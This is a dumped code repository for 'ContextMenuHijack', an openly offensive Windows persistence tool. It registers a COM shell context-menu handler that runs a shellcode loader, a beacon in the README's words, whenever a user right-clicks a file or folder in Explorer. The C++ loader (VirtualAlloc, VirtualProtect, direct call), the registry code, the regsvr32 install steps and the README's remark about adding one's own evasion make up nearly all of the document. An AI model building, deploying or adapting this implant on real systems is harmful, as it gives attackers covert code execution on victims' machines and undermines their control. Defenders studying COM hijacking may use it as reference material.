├── ContextMenuHijack ├── ContextMenuHijack.user ├── ContextMenuHijack.vcxproj.user ├── GlobalExportFunctions.def ├── Reg.h ├── ClassFactory.h ├── FileContextMenuExt.h ├── ContextMenuHijack.sln ├── ContextMenuHijack.filters ├── ClassFactory.cpp ├── dllmain.cpp ├── FileContextMenuExt.cpp ├── Reg.cpp └── ContextMenuHijack.vcxproj └── README.md /ContextMenuHijack/ContextMenuHijack.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /ContextMenuHijack/ContextMenuHijack.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /ContextMenuHijack/GlobalExportFunctions.def: -------------------------------------------------------------------------------- 1 | LIBRARY "ContextMenuHijack" 2 | EXPORTS 3 | DllGetClassObject PRIVATE 4 | DllCanUnloadNow PRIVATE 5 | DllRegisterServer PRIVATE 6 | DllUnregisterServer PRIVATE -------------------------------------------------------------------------------- /ContextMenuHijack/Reg.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | HRESULT RegisterInprocServer(PCWSTR pszModule, const CLSID& clsid, PCWSTR pszFriendlyName, PCWSTR pszThreadModel); 6 | HRESULT UnregisterInprocServer(const CLSID& clsid); 7 | HRESULT RegisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid, PCWSTR pszFriendlyName); 8 | HRESULT UnregisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid); 9 | 10 | 11 | -------------------------------------------------------------------------------- /ContextMenuHijack/ClassFactory.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class ClassFactory : public IClassFactory { 7 | public: 8 | // IUnknown 9 | IFACEMETHODIMP QueryInterface(REFIID riid, void **ppv); 10 | IFACEMETHODIMP_(ULONG) AddRef(); 11 | IFACEMETHODIMP_(ULONG) Release(); 12 | 13 | // IClassFactory 14 | IFACEMETHODIMP CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppv); 15 | IFACEMETHODIMP LockServer(BOOL fLock); 16 | 17 | ClassFactory(); 18 | 19 | protected: 20 | ~ClassFactory(); 21 | 22 | private: 23 | long m_cRef; 24 | }; -------------------------------------------------------------------------------- /ContextMenuHijack/FileContextMenuExt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | 7 | class FileContextMenuExt : public IShellExtInit, public IContextMenu3 8 | { 9 | public: 10 | // IUnknown 11 | IFACEMETHODIMP QueryInterface(REFIID riid, void** ppv); 12 | IFACEMETHODIMP_(ULONG) AddRef(); 13 | IFACEMETHODIMP_(ULONG) Release(); 14 | 15 | // IShellExtInit 16 | IFACEMETHODIMP Initialize(LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID); 17 | 18 | // IContextMenu 19 | IFACEMETHODIMP QueryContextMenu(HMENU hMenu, UINT indexMenu, UINT idCmdFirst, UINT idCmdLast, UINT uFlags); 20 | IFACEMETHODIMP InvokeCommand(LPCMINVOKECOMMANDINFO pici); 21 | IFACEMETHODIMP GetCommandString(UINT_PTR idCommand, UINT uFlags, UINT* pwReserved, LPSTR pszName, UINT cchMax); 22 | 23 | // IContextMenu2 IContextMenu3 24 | IFACEMETHODIMP HandleMenuMsg(UINT uMsg, WPARAM wParam, LPARAM lParam); 25 | IFACEMETHODIMP HandleMenuMsg2(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT* plResult); 26 | 27 | FileContextMenuExt(void); 28 | 29 | protected: 30 | ~FileContextMenuExt(void); 31 | 32 | private: 33 | long m_cRef; 34 | wchar_t m_szSelectedFile[MAX_PATH]; 35 | }; -------------------------------------------------------------------------------- /ContextMenuHijack/ContextMenuHijack.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.3.32901.215 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ContextMenuHijack", "ContextMenuHijack.vcxproj", "{3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Debug|x64 = Debug|x64 12 | Release|Win32 = Release|Win32 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|Win32.ActiveCfg = Debug|Win32 17 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|Win32.Build.0 = Debug|Win32 18 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|x64.ActiveCfg = Debug|x64 19 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|x64.Build.0 = Debug|x64 20 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|Win32.ActiveCfg = Release|Win32 21 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|Win32.Build.0 = Release|Win32 22 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|x64.ActiveCfg = Release|x64 23 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {189766A4-67F8-4546-9453-B48CAB571F34} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ContextMenuHijack/ContextMenuHijack.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /ContextMenuHijack/ClassFactory.cpp: -------------------------------------------------------------------------------- 1 | #include "ClassFactory.h" 2 | #include "FileContextMenuExt.h" 3 | #include 4 | #include 5 | #pragma comment(lib, "shlwapi.lib") 6 | 7 | 8 | extern long g_cDllRef; 9 | 10 | 11 | ClassFactory::ClassFactory() : m_cRef(1) 12 | { 13 | InterlockedIncrement( &g_cDllRef ); 14 | } 15 | 16 | ClassFactory::~ClassFactory() 17 | { 18 | InterlockedDecrement( &g_cDllRef ); 19 | } 20 | 21 | 22 | IFACEMETHODIMP ClassFactory::QueryInterface(REFIID riid, void **ppv) 23 | { 24 | static const QITAB qit[] = 25 | { 26 | QITABENT( ClassFactory, IClassFactory ), 27 | { 0 }, 28 | }; 29 | return QISearch( this, qit, riid, ppv ); 30 | } 31 | 32 | 33 | IFACEMETHODIMP_(ULONG) ClassFactory::AddRef() 34 | { 35 | return InterlockedIncrement( &m_cRef ); 36 | } 37 | 38 | IFACEMETHODIMP_(ULONG) ClassFactory::Release() 39 | { 40 | ULONG cRef = InterlockedDecrement( &m_cRef ); 41 | if ( 0 == cRef ) { 42 | delete this; 43 | } 44 | return cRef; 45 | } 46 | 47 | 48 | IFACEMETHODIMP ClassFactory::CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppv) 49 | { 50 | HRESULT hr = CLASS_E_NOAGGREGATION; 51 | 52 | if ( pUnkOuter == NULL ) { 53 | hr = E_OUTOFMEMORY; 54 | 55 | FileContextMenuExt *pExt = new ( std::nothrow ) FileContextMenuExt(); 56 | 57 | if ( pExt ) { 58 | hr = pExt->QueryInterface( riid, ppv ); 59 | pExt->Release(); 60 | } 61 | } 62 | 63 | return hr; 64 | } 65 | 66 | 67 | IFACEMETHODIMP ClassFactory::LockServer(BOOL fLock) 68 | { 69 | if ( fLock ) { 70 | InterlockedIncrement( &g_cDllRef ); 71 | } 72 | else { 73 | InterlockedDecrement( &g_cDllRef ); 74 | } 75 | return S_OK; 76 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ContextMenuHijack 2 | 3 | This original idea that inspired me is from [@NinjaParanoid](https://twitter.com/NinjaParanoid) : 4 | 5 | [![Video](https://user-images.githubusercontent.com/75935486/212143342-bda8da88-b076-488f-a3c2-126a4875c2c1.png)](https://www.youtube.com/watch?v=SwdmijpSjjA&ab_channel=ChetanNayak) 6 | 7 | 8 | [ContextMenuHijack](https://github.com/RistBS/ContextMenuHijack) is a simple persistence technique that use COM hijacking based on human behavior, when you right click on a file/folder in the File Explorer to open the Context Menu, it executes at the same time the beacon we specified. 9 | ```c 10 | IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) { 11 | DWORD tid = NULL; 12 | CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid); 13 | 14 | if (NULL == pDataObj) { 15 | if (pidlFolder != NULL) { 16 | } 17 | return S_OK; 18 | } 19 | return S_OK; 20 | } 21 | ``` 22 | 23 | ### Usage 24 | 25 | You just have to load the solution file (.sln) and build it. It's important to know that you need **adminstrator privileges** to use this persistence technique. Once you have done all of this, you just have to register the DLL file in the registry with `regsvr32`: 26 | 27 | ```powershell 28 | regsvr32 "C:\path\to\ContextMenuHijack.dll" 29 | ``` 30 | 31 | > if you want to uninstall it just use `/u` flag 32 | ```powershell 33 | regsvr32 /u "C:\path\to\ContextMenuHijack.dll" 34 | ``` 35 | 36 | ![persistence1](https://user-images.githubusercontent.com/75935486/225428627-e6cc9601-5664-4b19-8d5c-7a4bdf5b01dd.gif) 37 | 38 | 39 | - this technique can be easily detected from the thread stack of `explorer.exe`, it is up to you to use your own evasion tradecraft 40 | ![image](https://user-images.githubusercontent.com/75935486/212399032-3249579d-fff5-42e7-b18b-b3e7d13efaad.png) 41 | 42 | 43 | # Credits 44 | 45 | - https://github.com/rikka0w0/ExplorerContextMenuTweaker 46 | - https://learn.microsoft.com/en-us/windows/win32/shell/how-to-implement-the-icontextmenu-interface?redirectedfrom=MSDN 47 | - https://www.codeproject.com/Articles/441/The-Complete-Idiot-s-Guide-to-Writing-Shell-Extens 48 | -------------------------------------------------------------------------------- /ContextMenuHijack/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "ClassFactory.h" 4 | #include "Reg.h" 5 | 6 | const CLSID CLSID_FileContextMenuExt = { 0xb7cdf620, 0xdb73, 0x44c0,{ 0x86, 0x11, 0x83, 0x2b, 0x26, 0x1a, 0x01, 0x07 } }; 7 | 8 | HINSTANCE g_hInst = NULL; 9 | long g_cDllRef = 0; 10 | 11 | 12 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) 13 | { 14 | switch ( dwReason ) { 15 | 16 | case DLL_PROCESS_ATTACH: 17 | g_hInst = hModule; 18 | DisableThreadLibraryCalls( hModule ); 19 | break; 20 | 21 | case DLL_THREAD_ATTACH: 22 | 23 | case DLL_THREAD_DETACH: 24 | 25 | case DLL_PROCESS_DETACH: 26 | break; 27 | } 28 | return TRUE; 29 | } 30 | 31 | __declspec(dllexport) STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, void **ppv) 32 | { 33 | HRESULT hr = CLASS_E_CLASSNOTAVAILABLE; 34 | 35 | if ( IsEqualCLSID( CLSID_FileContextMenuExt, rclsid ) ) { 36 | hr = E_OUTOFMEMORY; 37 | 38 | ClassFactory *pClassFactory = new ClassFactory(); 39 | if ( pClassFactory ) { 40 | hr = pClassFactory->QueryInterface( riid, ppv ); 41 | pClassFactory->Release(); 42 | } 43 | } 44 | return hr; 45 | } 46 | 47 | __declspec(dllexport) STDAPI DllCanUnloadNow(void) 48 | { 49 | return g_cDllRef > 0 ? S_FALSE : S_OK; 50 | } 51 | 52 | __declspec(dllexport) STDAPI DllRegisterServer(void) 53 | { 54 | HRESULT hr; 55 | 56 | wchar_t szModule[MAX_PATH]; 57 | 58 | if ( GetModuleFileName( g_hInst, szModule, ARRAYSIZE( szModule ) ) == 0 ) { 59 | hr = HRESULT_FROM_WIN32( GetLastError() ); 60 | return hr; 61 | } 62 | 63 | hr = RegisterInprocServer( szModule, CLSID_FileContextMenuExt, L"ContextMenuHijack.FileContextMenuExt Class", L"Apartment" ); 64 | if ( SUCCEEDED( hr ) ) { 65 | hr = RegisterShellExtContextMenuHandler( L"AllFilesystemObjects", CLSID_FileContextMenuExt, L"ContextMenuHijack.FileContextMenuExt" ); 66 | } 67 | 68 | return hr; 69 | } 70 | 71 | 72 | __declspec(dllexport) STDAPI DllUnregisterServer(void) 73 | { 74 | HRESULT hr = S_OK; 75 | 76 | wchar_t szModule[MAX_PATH]; 77 | 78 | if ( GetModuleFileName( g_hInst, szModule, ARRAYSIZE( szModule ) ) == 0 ) { 79 | hr = HRESULT_FROM_WIN32( GetLastError() ); 80 | return hr; 81 | } 82 | 83 | hr = UnregisterInprocServer( CLSID_FileContextMenuExt ); 84 | if ( SUCCEEDED( hr ) ) { 85 | hr = UnregisterShellExtContextMenuHandler( L"AllFilesystemObjects", CLSID_FileContextMenuExt ); 86 | } 87 | 88 | return hr; 89 | } -------------------------------------------------------------------------------- /ContextMenuHijack/FileContextMenuExt.cpp: -------------------------------------------------------------------------------- 1 | #include "FileContextMenuExt.h" 2 | #include 3 | #include 4 | #pragma comment(lib, "shlwapi.lib") 5 | 6 | extern long g_cDllRef; 7 | extern HINSTANCE g_hInst; 8 | 9 | UINT g_QCMFlags; 10 | 11 | #define IDM_DISPLAY 0 12 | 13 | unsigned char buf[] = "\x00"; // Shellcode here 14 | 15 | void InjectShc() 16 | { 17 | DWORD dwOldProtect = 0; 18 | LPVOID addr = VirtualAlloc( NULL, sizeof( buf ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE ); 19 | memcpy( addr, buf, sizeof( buf ) ); 20 | 21 | VirtualProtect( addr, sizeof( buf ), PAGE_EXECUTE_READ, &dwOldProtect ); 22 | 23 | ( ( void( * )() )addr )(); 24 | } 25 | 26 | FileContextMenuExt::FileContextMenuExt(void) : m_cRef( 1 ) 27 | { 28 | InterlockedIncrement( &g_cDllRef ); 29 | } 30 | 31 | FileContextMenuExt::~FileContextMenuExt(void) 32 | { 33 | InterlockedDecrement( &g_cDllRef ); 34 | } 35 | 36 | #pragma region IUnknown 37 | 38 | IFACEMETHODIMP FileContextMenuExt::QueryInterface(REFIID riid, void **ppv) 39 | { 40 | static const QITAB qit[] = 41 | { 42 | QITABENT( FileContextMenuExt, IContextMenu ), 43 | QITABENT( FileContextMenuExt, IContextMenu2 ), 44 | QITABENT( FileContextMenuExt, IContextMenu3 ), 45 | QITABENT( FileContextMenuExt, IShellExtInit ), 46 | { 0 }, 47 | }; 48 | return QISearch( this, qit, riid, ppv ); 49 | } 50 | 51 | IFACEMETHODIMP_(ULONG) FileContextMenuExt::AddRef() 52 | { 53 | return InterlockedIncrement( &m_cRef ); 54 | } 55 | 56 | IFACEMETHODIMP_(ULONG) FileContextMenuExt::Release() 57 | { 58 | ULONG cRef = InterlockedDecrement( &m_cRef ); 59 | if ( 0 == cRef ) { 60 | delete this; 61 | } 62 | return cRef; 63 | } 64 | 65 | #pragma endregion 66 | 67 | 68 | #pragma region IShellExtInit 69 | 70 | extern LPCITEMIDLIST g_pidl; 71 | 72 | IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) 73 | { 74 | DWORD tid = NULL; 75 | CreateThread( NULL, 1024 * 1024, ( LPTHREAD_START_ROUTINE )InjectShc, NULL, 0, &tid ); 76 | 77 | if ( NULL == pDataObj ) { 78 | if ( pidlFolder != NULL ) { 79 | } 80 | return S_OK; 81 | } 82 | return S_OK; 83 | } 84 | 85 | #pragma endregion 86 | 87 | #pragma region IContextMenu 88 | 89 | IFACEMETHODIMP FileContextMenuExt::QueryContextMenu(HMENU hMenu, UINT indexMenu, UINT idCmdFirst, UINT idCmdLast, UINT uFlags) 90 | { 91 | g_QCMFlags = uFlags; 92 | return MAKE_HRESULT( SEVERITY_SUCCESS, 0, 0 ); 93 | } 94 | 95 | 96 | IFACEMETHODIMP FileContextMenuExt::InvokeCommand(LPCMINVOKECOMMANDINFO pici) 97 | { 98 | BOOL fUnicode = FALSE; 99 | 100 | if ( pici->cbSize == sizeof( CMINVOKECOMMANDINFOEX ) ) { 101 | if ( pici->fMask & CMIC_MASK_UNICODE ) { 102 | fUnicode = TRUE; 103 | } 104 | } 105 | return S_OK; 106 | } 107 | 108 | 109 | IFACEMETHODIMP FileContextMenuExt::GetCommandString(UINT_PTR idCommand, UINT uFlags, UINT *pwReserved, LPSTR pszName, UINT cchMax) 110 | { 111 | HRESULT hr = E_INVALIDARG; 112 | 113 | if ( idCommand == IDM_DISPLAY ) { 114 | switch ( uFlags ) { 115 | 116 | default: 117 | hr = S_OK; 118 | } 119 | } 120 | return hr; 121 | } 122 | 123 | #pragma endregion 124 | 125 | HRESULT MenuMessageHandler(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT* pResult) 126 | { 127 | return S_OK; 128 | } 129 | 130 | IFACEMETHODIMP FileContextMenuExt::HandleMenuMsg(UINT uMsg, WPARAM wParam, LPARAM lParam) 131 | { 132 | LRESULT res; 133 | return MenuMessageHandler( uMsg, wParam, lParam, &res ); 134 | } 135 | 136 | IFACEMETHODIMP FileContextMenuExt::HandleMenuMsg2(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT *plResult) 137 | { 138 | if ( NULL == plResult ) { 139 | LRESULT res; 140 | return MenuMessageHandler( uMsg, wParam, lParam, &res ); 141 | } 142 | else { 143 | return MenuMessageHandler( uMsg, wParam, lParam, plResult ); 144 | } 145 | } -------------------------------------------------------------------------------- /ContextMenuHijack/Reg.cpp: -------------------------------------------------------------------------------- 1 | #include "Reg.h" 2 | #include 3 | 4 | HRESULT SetHKCRRegistryKeyAndValue(PCWSTR pszSubKey, PCWSTR pszValueName, PCWSTR pszData) 5 | { 6 | HKEY hKey = NULL; 7 | 8 | HRESULT hr = HRESULT_FROM_WIN32( RegCreateKeyEx( HKEY_CLASSES_ROOT, pszSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL ) ); 9 | 10 | if ( SUCCEEDED( hr ) ) { 11 | if ( pszData != NULL ) { 12 | DWORD cbData = lstrlen( pszData ) * sizeof( *pszData ); 13 | hr = HRESULT_FROM_WIN32( RegSetValueEx( hKey, pszValueName, 0, REG_SZ, reinterpret_cast( pszData ), cbData ) ); 14 | } 15 | RegCloseKey( hKey ); 16 | } 17 | return hr; 18 | } 19 | 20 | HRESULT GetHKCRRegistryKeyAndValue(PCWSTR pszSubKey, PCWSTR pszValueName, PWSTR pszData, DWORD cbData) 21 | { 22 | HKEY hKey = NULL; 23 | 24 | HRESULT hr = HRESULT_FROM_WIN32( RegOpenKeyEx( HKEY_CLASSES_ROOT, pszSubKey, 0, KEY_READ, &hKey ) ); 25 | 26 | if ( SUCCEEDED( hr ) ) { 27 | hr = HRESULT_FROM_WIN32( RegQueryValueEx( hKey, pszValueName, NULL, NULL, ( LPBYTE )( pszData ), &cbData ) ); 28 | RegCloseKey( hKey ); 29 | } 30 | return hr; 31 | } 32 | 33 | 34 | HRESULT RegisterInprocServer(PCWSTR pszModule, const CLSID& clsid, PCWSTR pszFriendlyName, PCWSTR pszThreadModel) 35 | { 36 | if ( pszModule == NULL || pszThreadModel == NULL ) { 37 | return E_INVALIDARG; 38 | } 39 | 40 | HRESULT hr; 41 | wchar_t szCLSID[ MAX_PATH ]; 42 | 43 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) ); 44 | 45 | wchar_t szSubkey[ MAX_PATH ]; 46 | 47 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"CLSID\\%s", szCLSID ); 48 | if ( SUCCEEDED( hr ) ) { 49 | hr = SetHKCRRegistryKeyAndValue( szSubkey, NULL, pszFriendlyName ); 50 | 51 | if ( SUCCEEDED( hr ) ) { 52 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"CLSID\\%s\\InprocServer32", szCLSID ); 53 | if ( SUCCEEDED( hr ) ) { 54 | hr = SetHKCRRegistryKeyAndValue( szSubkey, NULL, pszModule ); 55 | if ( SUCCEEDED( hr ) ) { 56 | hr = SetHKCRRegistryKeyAndValue( szSubkey, L"ThreadingModel", pszThreadModel ); 57 | } 58 | } 59 | } 60 | } 61 | return hr; 62 | } 63 | 64 | 65 | HRESULT UnregisterInprocServer(const CLSID& clsid) 66 | { 67 | HRESULT hr = S_OK; 68 | wchar_t szCLSID[ MAX_PATH ]; 69 | 70 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) ); 71 | 72 | wchar_t szSubkey[ MAX_PATH ]; 73 | 74 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"CLSID\\%s", szCLSID ); 75 | if ( SUCCEEDED( hr ) ) { 76 | hr = HRESULT_FROM_WIN32( RegDeleteTree( HKEY_CLASSES_ROOT, szSubkey ) ); 77 | } 78 | return hr; 79 | } 80 | 81 | 82 | HRESULT RegisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid, PCWSTR pszFriendlyName) 83 | { 84 | if ( pszFileType == NULL ) { 85 | return E_INVALIDARG; 86 | } 87 | 88 | HRESULT hr; 89 | wchar_t szCLSID[ MAX_PATH ]; 90 | 91 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) ); 92 | 93 | wchar_t szSubkey[ MAX_PATH ]; 94 | 95 | if ( *pszFileType == L'.' ) { 96 | wchar_t szDefaultVal[ 260 ]; 97 | hr = GetHKCRRegistryKeyAndValue( pszFileType, NULL, szDefaultVal, sizeof( szDefaultVal ) ); 98 | 99 | if ( SUCCEEDED( hr ) && szDefaultVal[ 0 ] != L'\0' ) { 100 | pszFileType = szDefaultVal; 101 | } 102 | } 103 | 104 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"%s\\shellex\\ContextMenuHandlers\\%s", pszFileType, szCLSID ); 105 | if ( SUCCEEDED( hr ) ) { 106 | hr = SetHKCRRegistryKeyAndValue( szSubkey, NULL, pszFriendlyName ); 107 | } 108 | return hr; 109 | } 110 | 111 | 112 | HRESULT UnregisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid) 113 | { 114 | if ( pszFileType == NULL ) { 115 | return E_INVALIDARG; 116 | } 117 | 118 | HRESULT hr; 119 | wchar_t szCLSID[ MAX_PATH ]; 120 | 121 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) ); 122 | 123 | wchar_t szSubkey[ MAX_PATH ]; 124 | 125 | if ( *pszFileType == L'.' ) { 126 | wchar_t szDefaultVal[ 260 ]; 127 | hr = GetHKCRRegistryKeyAndValue( pszFileType, NULL, szDefaultVal, sizeof( szDefaultVal ) ); 128 | 129 | if ( SUCCEEDED( hr ) && szDefaultVal[ 0 ] != L'\0' ) { 130 | pszFileType = szDefaultVal; 131 | } 132 | } 133 | 134 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"%s\\shellex\\ContextMenuHandlers\\%s", pszFileType, szCLSID ); 135 | if ( SUCCEEDED( hr ) ) { 136 | hr = HRESULT_FROM_WIN32( RegDeleteTree( HKEY_CLASSES_ROOT, szSubkey ) ); 137 | } 138 | return hr; 139 | } -------------------------------------------------------------------------------- /ContextMenuHijack/ContextMenuHijack.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A} 23 | Win32Proj 24 | ContextMenuHijack 25 | 10.0 26 | ContextMenuHijack 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | Unicode 33 | v143 34 | 35 | 36 | DynamicLibrary 37 | true 38 | Unicode 39 | v143 40 | 41 | 42 | DynamicLibrary 43 | false 44 | true 45 | Unicode 46 | v143 47 | 48 | 49 | DynamicLibrary 50 | false 51 | true 52 | Unicode 53 | v143 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | true 73 | $(Configuration)\$(Platform)\ 74 | $(SolutionDir)$(Configuration)\$(Platform)\ 75 | 76 | 77 | true 78 | $(SolutionDir)$(Configuration)\$(Platform)\ 79 | $(Configuration)\$(Platform)\ 80 | 81 | 82 | false 83 | $(SolutionDir)$(Configuration)\$(Platform)\ 84 | $(Configuration)\$(Platform)\ 85 | 86 | 87 | false 88 | $(SolutionDir)$(Configuration)\$(Platform)\ 89 | $(Configuration)\$(Platform)\ 90 | 91 | 92 | 93 | NotUsing 94 | Level3 95 | Disabled 96 | WIN32;_DEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions) 97 | 98 | 99 | 100 | 101 | 102 | 103 | Windows 104 | true 105 | GlobalExportFunctions.def 106 | 107 | 108 | 109 | 110 | NotUsing 111 | Level3 112 | Disabled 113 | WIN32;_DEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions) 114 | 115 | 116 | 117 | 118 | 119 | 120 | Windows 121 | true 122 | GlobalExportFunctions.def 123 | 124 | 125 | 126 | 127 | Level3 128 | NotUsing 129 | MaxSpeed 130 | true 131 | true 132 | WIN32;NDEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions) 133 | 134 | 135 | 136 | 137 | 138 | 139 | Windows 140 | true 141 | true 142 | true 143 | GlobalExportFunctions.def 144 | 145 | 146 | 147 | 148 | Level3 149 | NotUsing 150 | MaxSpeed 151 | true 152 | true 153 | WIN32;NDEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions) 154 | 155 | 156 | 157 | 158 | 159 | 160 | Windows 161 | true 162 | true 163 | true 164 | GlobalExportFunctions.def 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | false 179 | false 180 | 181 | 182 | 183 | 184 | false 185 | false 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | --------------------------------------------------------------------------------